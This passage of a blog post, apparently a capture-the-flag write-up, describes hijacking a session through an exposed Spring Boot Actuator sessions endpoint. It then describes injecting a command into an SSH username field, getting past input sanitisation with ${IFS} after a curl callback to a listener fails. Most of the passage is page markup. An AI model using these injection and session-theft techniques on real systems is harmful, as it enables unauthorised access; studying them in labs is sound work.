data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/53b12952-272c-44ab-9d23-14be2692b23f_797x443.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:443,&quot;width&quot;:797,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78886,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XQd_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 424w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 848w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 1272w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="pullquote"><p><strong>Spring Boot Actuator Endpoint<br></strong>Spring Boot Actuator is a tool in the Spring ecosystem that provides various production-ready features to help you monitor and manage your application. It includes endpoints that allow you to interact with your application and get information about its internal state.</p></div><h2>Actuator endpoint enumeration</h2><p>Browsing to the <strong>/actuator/sessions</strong> endpoint identifies what is potentially an active session.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mwjy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mwjy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 424w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 848w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 1272w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mwjy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png" width="1045" height="529" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:529,&quot;width&quot;:1045,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:142187,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mwjy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 424w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 848w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 1272w, https://substackcdn.com/image/fetch/$s_!Mwjy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F463d34f6-3f58-4e66-b2b3-5feecaece963_1045x529.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Navigating back to the site and updating the session cookie successfully bypassed the authentication and loaded the <strong>/admin</strong> dashboard previously identified as returning the 401 Not Authorised error.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Sy7u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Sy7u!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 424w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 848w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 1272w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Sy7u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png" width="865" height="848" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:848,&quot;width&quot;:865,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:126279,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Sy7u!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 424w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 848w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 1272w, https://substackcdn.com/image/fetch/$s_!Sy7u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc5f8fc1-8f16-4ecb-9395-d0a2df86e098_865x848.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Initial access</h1><p>At the bottom of the admin page was a form to include hosts in automatic patching. The note indicated the scanner relies on adding an SSH private key to the host. </p><p>Submitting the form with an invalid host/username returns a &#8220;Host key verification failed&#8221; error.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9yCz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9yCz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 424w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 848w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 1272w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9yCz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png" width="1014" height="462" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:462,&quot;width&quot;:1014,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:44328,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9yCz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 424w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 848w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 1272w, https://substackcdn.com/image/fetch/$s_!9yCz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2528496e-1e5c-42d8-86cb-247a4cad4433_1014x462.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The likely command being executed here is:</p><pre><code> ssh -i id_rsa username@hostname</code></pre><p>This indicates a potential command injection vulnerability on the parameter &#8220;username&#8221; parameter.</p><p>Attempting to curl back to a listener to confirm the vulnerability fails. URL and Base-64 encoding of the field also does not work.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!w7oM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!w7oM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 424w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 848w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 1272w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!w7oM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png" width="1332" height="724" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:724,&quot;width&quot;:1332,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:208442,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!w7oM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 424w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 848w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 1272w, https://substackcdn.com/image/fetch/$s_!w7oM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55a8adbf-d455-4300-9fcb-4c48b89f11e9_1332x724.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The whitespace between the dummy data and the malicious command injection is likely the issue. Another option is to use an <strong>Internal Field Seperator</strong>. </p><p>This is <code>${IFS}</code> which, in Unix-like systems, represents a space, tab, or newline. This can be used to obfuscate the command and bypass the field&#8217;s sanitisation. Attempting this, as shown below, successfully works.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!s9BB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!s9BB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 424w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 848w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 1272w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!s9BB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png" width="1119" height="624" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:624,&quot;width&quot;:1119,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:124313,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!s9BB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 424w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 848w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 1272w, https://substackcdn.com/image/fetch/$s_!s9BB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7cf7a0d8-26cd-423b-9d71-d13599a5f59d_1119x624.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 